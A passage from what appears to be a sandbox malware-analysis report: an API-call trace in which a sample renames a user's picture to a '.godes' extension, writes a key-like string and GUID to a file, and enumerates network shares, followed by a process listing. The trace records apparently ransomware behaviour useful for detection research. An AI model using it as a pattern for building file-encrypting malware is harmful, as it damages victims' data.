lpBuffer=0x3325120*, lpNumberOfBytesWritten=0x3b2fb24*=0xefc6, lpOverlapped=0x0) returned 1 [0115.710] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3325120 | out: hHeap=0x660000) returned 1 [0115.711] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xefcb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0115.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0115.711] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0115.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0115.711] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0115.711] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0115.711] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.711] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.711] CloseHandle (hObject=0x624) returned 1 [0115.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x110) returned 0x328fea0 [0115.712] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x920) returned 0x331e748 [0115.712] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0115.712] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\K-e0Wu\\f5IF7l Fg-1E1w\\ZIdWI VbebKgRLmaFag.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\aoq9wvor9rajhs9\\k-e0wu\\f5if7l fg-1e1w\\zidwi vbebkgrlmafag.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\KL GUyg5\\aoQ9WvOr9RAjhS9\\K-e0Wu\\f5IF7l Fg-1E1w\\ZIdWI VbebKgRLmaFag.jpg.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\kl guyg5\\aoq9wvor9rajhs9\\k-e0wu\\f5if7l fg-1e1w\\zidwi vbebkgrlmafag.jpg.godes")) returned 1 [0115.713] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.713] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x742510 | out: hHeap=0x660000) returned 1 [0115.714] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x404a4fa0, ftCreationTime.dwHighDateTime=0x1d4d449, ftLastAccessTime.dwLowDateTime=0x2804a170, ftLastAccessTime.dwHighDateTime=0x1d4c65c, ftLastWriteTime.dwLowDateTime=0x2804a170, ftLastWriteTime.dwHighDateTime=0x1d4c65c, nFileSizeHigh=0x0, nFileSizeLow=0xefcb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZIdWI VbebKgRLmaFag.jpg", cAlternateFileName="ZIDWIV~1.JPG")) returned 0 [0115.714] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0115.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0678 | out: hHeap=0x660000) returned 1 [0115.714] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0115.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fb98 | out: hHeap=0x660000) returned 1 [0115.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0590 | out: hHeap=0x660000) returned 1 [0115.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a04a8 | out: hHeap=0x660000) returned 1 [0115.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a03c0 | out: hHeap=0x660000) returned 1 [0115.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fd68 | out: hHeap=0x660000) returned 1 [0115.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0020 | out: hHeap=0x660000) returned 1 [0115.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0cd0 | out: hHeap=0x660000) returned 1 [0115.714] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a0db8 | out: hHeap=0x660000) returned 1 [0115.714] SendMessageW (hWnd=0x1015c, Msg=0x8003, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 280 os_tid = 0x6b8 [0111.465] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x3c2fee0 | out: lphEnum=0x3c2fee0*=0x32a6808) returned 0x0 [0111.503] WNetEnumResourceW (in: hEnum=0x32a6808, lpcCount=0x3c2fedc, lpBuffer=0x3313300, lpBufferSize=0x3c2fed8 | out: lpcCount=0x3c2fedc, lpBuffer=0x3313300, lpBufferSize=0x3c2fed8) returned 0x0 [0111.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32846e0 [0111.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284728 [0111.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d540 [0111.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284770 [0111.503] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32847b8 [0111.503] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x3313300, lphEnum=0x3c2fe28 | out: lphEnum=0x3c2fe28*=0x713940) returned 0x0 [0111.508] WNetEnumResourceW (in: hEnum=0x713940, lpcCount=0x3c2fe24, lpBuffer=0x3317308, lpBufferSize=0x3c2fe20 | out: lpcCount=0x3c2fe24, lpBuffer=0x3317308, lpBufferSize=0x3c2fe20) returned 0x103 [0111.508] WNetCloseEnum (hEnum=0x713940) returned 0x0 [0111.508] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284728 | out: hHeap=0x660000) returned 1 [0111.508] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32846e0 | out: hHeap=0x660000) returned 1 [0111.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32846e0 [0111.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284728 [0111.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329f9c8 [0111.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32840f8 [0111.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284848 [0111.508] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32847b8 | out: hHeap=0x660000) returned 1 [0111.508] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284770 | out: hHeap=0x660000) returned 1 [0111.508] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d540 | out: hHeap=0x660000) returned 1 [0111.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284770 [0111.508] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32847b8 [0111.508] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x3313320, lphEnum=0x3c2fe28 | out: lphEnum=0x3c2fe28*=0x3c2fe44) returned 0x4b8 [0123.860] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284728 | out: hHeap=0x660000) returned 1 [0123.860] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32846e0 | out: hHeap=0x660000) returned 1 [0123.860] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0123.860] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0123.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x150) returned 0x742510 [0123.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32846e0 [0123.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284728 [0123.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284458 [0123.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0123.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284848 | out: hHeap=0x660000) returned 1 [0123.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32840f8 | out: hHeap=0x660000) returned 1 [0123.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32847b8 | out: hHeap=0x660000) returned 1 [0123.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284770 | out: hHeap=0x660000) returned 1 [0123.861] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329f9c8 | out: hHeap=0x660000) returned 1 [0123.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c5a0 [0123.861] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0123.861] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x3313340, lphEnum=0x3c2fe28 | out: lphEnum=0x3c2fe28*=0x3c2fe44) returned 0x4c6 [0123.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0123.865] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0123.865] WNetEnumResourceW (in: hEnum=0x32a6808, lpcCount=0x3c2fedc, lpBuffer=0x3313300, lpBufferSize=0x3c2fed8 | out: lpcCount=0x3c2fedc, lpBuffer=0x3313300, lpBufferSize=0x3c2fed8) returned 0x103 [0123.865] WNetCloseEnum (hEnum=0x32a6808) returned 0x0 [0123.865] SendMessageW (hWnd=0x1015c, Msg=0x8004, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 288 os_tid = 0x274 Thread: id = 290 os_tid = 0x33c Process: id = "18" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x958a000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "17" os_parent_pid = "0x544" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000db83" [0xc000000f], "LOCAL" [0x7] Thread: id = 193 os_tid = 0x418 Thread: id = 194 os_tid = 0x7f4 Thread: id = 195 os_tid = 0x7e4 Thread: id = 196 os_tid = 0x7c8 Thread: id = 197 os_tid = 0x7b8 Thread: id = 198 os_tid = 0x644 Thread: id = 199 os_tid = 0x638 Thread: id = 200 os_tid = 0x158 Thread: id = 201 os_tid = 0x154 Thread: id = 202 os_tid = 0x128 Thread: id = 203 os_tid = 0x12c Thread: id = 204 os_tid = 0x120 Thread: id = 205 os_tid = 0x3fc Thread: id = 240 os_tid = 0x540 Thread: id = 241 os_tid = 0x54c Thread: id = 242 os_tid = 0x150 Thread: id = 289 os_tid = 0x7d4 Thread: id = 292 os_tid = 0x620 Process: id = "19" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x6ac1000" os_pid = "0x470" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "18" os_parent_pid = "0x3f8" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e807" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 206 os_tid = 0x724 Thread: id = 207 os_tid = 0x714 Thread: id = 208 os_tid = 0x6e0 Thread: id = 209 os_tid = 0x6dc Thread: id = 210 os_tid = 0x6c0 Thread: id = 211 os_tid = 0x6a8 Thread: id = 212 os_tid = 0x690 Thread: id = 213 os_tid = 0x674 Thread: id = 214 os_tid = 0x66c Thread: id = 215 os_tid = 0x5ec Thread: id = 216 os_tid = 0x5dc Thread: id = 217 os_tid = 0x5cc Thread: id = 218 os_tid = 0x5c4 Thread: id = 219 os_tid = 0x5bc Thread: id = 220 os_tid = 0x5b0 Thread: id = 221 os_tid = 0x5a4 Thread: id = 222 os_tid = 0x570 Thread: id = 223 os_tid = 0x560 Thread: id = 224 os_tid = 0x538 Thread: id = 225 os_tid = 0x534 Thread: id = 226 os_tid = 0x530 Thread: id = 227 os_tid = 0x52c Thread: id = 228 os_tid = 0x528 Thread: id = 229 os_tid = 0x518 Thread: id = 230 os_tid = 0x510 Thread: id = 231 os_tid = 0x504 Thread: id = 232 os_tid = 0x4e0 Thread: id = 233 os_tid = 0x4d8 Thread: id = 234 os_tid = 0x4c8 Thread: id = 235 os_tid = 0x4c4 Thread: id = 236 os_tid = 0x4c0 Thread: id = 237 os_tid = 0x4a0 Thread: id = 238 os_tid = 0x480 Thread: id = 239 os_tid = 0x474 Thread: id = 243 os_tid = 0x3d0 Thread: id = 268 os_tid = 0x614 Thread: id = 293 os_tid = 0x608 Thread: id = 296 os_tid = 0x41c Thread: id = 319 os_tid = 0x2b0 Thread: id = 320 os_tid = 0x3a0 Process: id = "20" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x5c15000" os_pid = "0x4ac" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "18" os_parent_pid = "0x3f8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00011033" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Thread: id = 244 os_tid = 0x328 Thread: id = 245 os_tid = 0x40c Thread: id = 246 os_tid = 0x30c Thread: id = 247 os_tid = 0x7fc Thread: id = 248 os_tid = 0x7f0 Thread: id = 249 os_tid = 0x72c Thread: id = 250 os_tid = 0x6b0 Thread: id = 251 os_tid = 0x6ac Thread: id = 252 os_tid = 0x6a0 Thread: id = 253 os_tid = 0x69c Thread: id = 254 os_tid = 0x68c Thread: id = 255 os_tid = 0x688 Thread: id = 256 os_tid = 0x684 Thread: id = 257 os_tid = 0x680 Thread: id = 258 os_tid = 0x62c Thread: id = 259 os_tid = 0x61c Thread: id = 260 os_tid = 0x618 Thread: id = 261 os_tid = 0x5f4 Thread: id = 262 os_tid = 0x50c Thread: id = 263 os_tid = 0x4f4 Thread: id = 264 os_tid = 0x4ec Thread: id = 265 os_tid = 0x4e4 Thread: id = 266 os_tid = 0x4cc Thread: id = 267 os_tid = 0x4b0 Thread: id = 291 os_tid = 0x7d0 Thread: id = 294 os_tid = 0x35c Thread: id = 295 os_tid = 0x624 Process: id = "21" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x70282000" os_pid = "0x5e8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "19" os_parent_pid = "0x470" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e807" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 269 os_tid = 0x620 Thread: id = 270 os_tid = 0x608 Thread: id = 271 os_tid = 0x630 Thread: id = 272 os_tid = 0x624 Thread: id = 273 os_tid = 0x354 Thread: id = 274 os_tid = 0x35c Thread: id = 275 os_tid = 0x358 Process: id = "22" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x6d387000" os_pid = "0x694" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "19" os_parent_pid = "0x470" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e807" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 281 os_tid = 0x700 Thread: id = 282 os_tid = 0x70c Thread: id = 283 os_tid = 0x720 Thread: id = 284 os_tid = 0x640 Thread: id = 285 os_tid = 0x63c Thread: id = 286 os_tid = 0x704 Thread: id = 287 os_tid = 0x56c Process: id = "23" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x24f6b000" os_pid = "0x2cc" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "19" os_parent_pid = "0x470" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b567" [0xc000000f], "LOCAL" [0x7] Thread: id = 297 os_tid = 0x584 Thread: id = 298 os_tid = 0x65c Thread: id = 299 os_tid = 0x6a8 Thread: id = 300 os_tid = 0x630 Thread: id = 301 os_tid = 0x594 Thread: id = 302 os_tid = 0x6a4 Thread: id = 303 os_tid = 0x654 Thread: id = 304 os_tid = 0x650 Thread: id = 305 os_tid = 0x64c Thread: id = 306 os_tid = 0x610 Thread: id = 307 os_tid = 0x60c Thread: id = 308 os_tid = 0x230 Thread: id = 309 os_tid = 0x174 Thread: id = 310 os_tid = 0x178 Thread: id = 311 os_tid = 0x160 Thread: id = 312 os_tid = 0x3bc Thread: id = 313 os_tid = 0x3b4 Thread: id = 314 os_tid = 0x3a4 Thread: id = 315 os_tid = 0x304 Thread: id = 316 os_tid = 0x300 Thread: id = 317 os_tid = 0x2d8 Thread: id = 318 os_tid = 0x2d0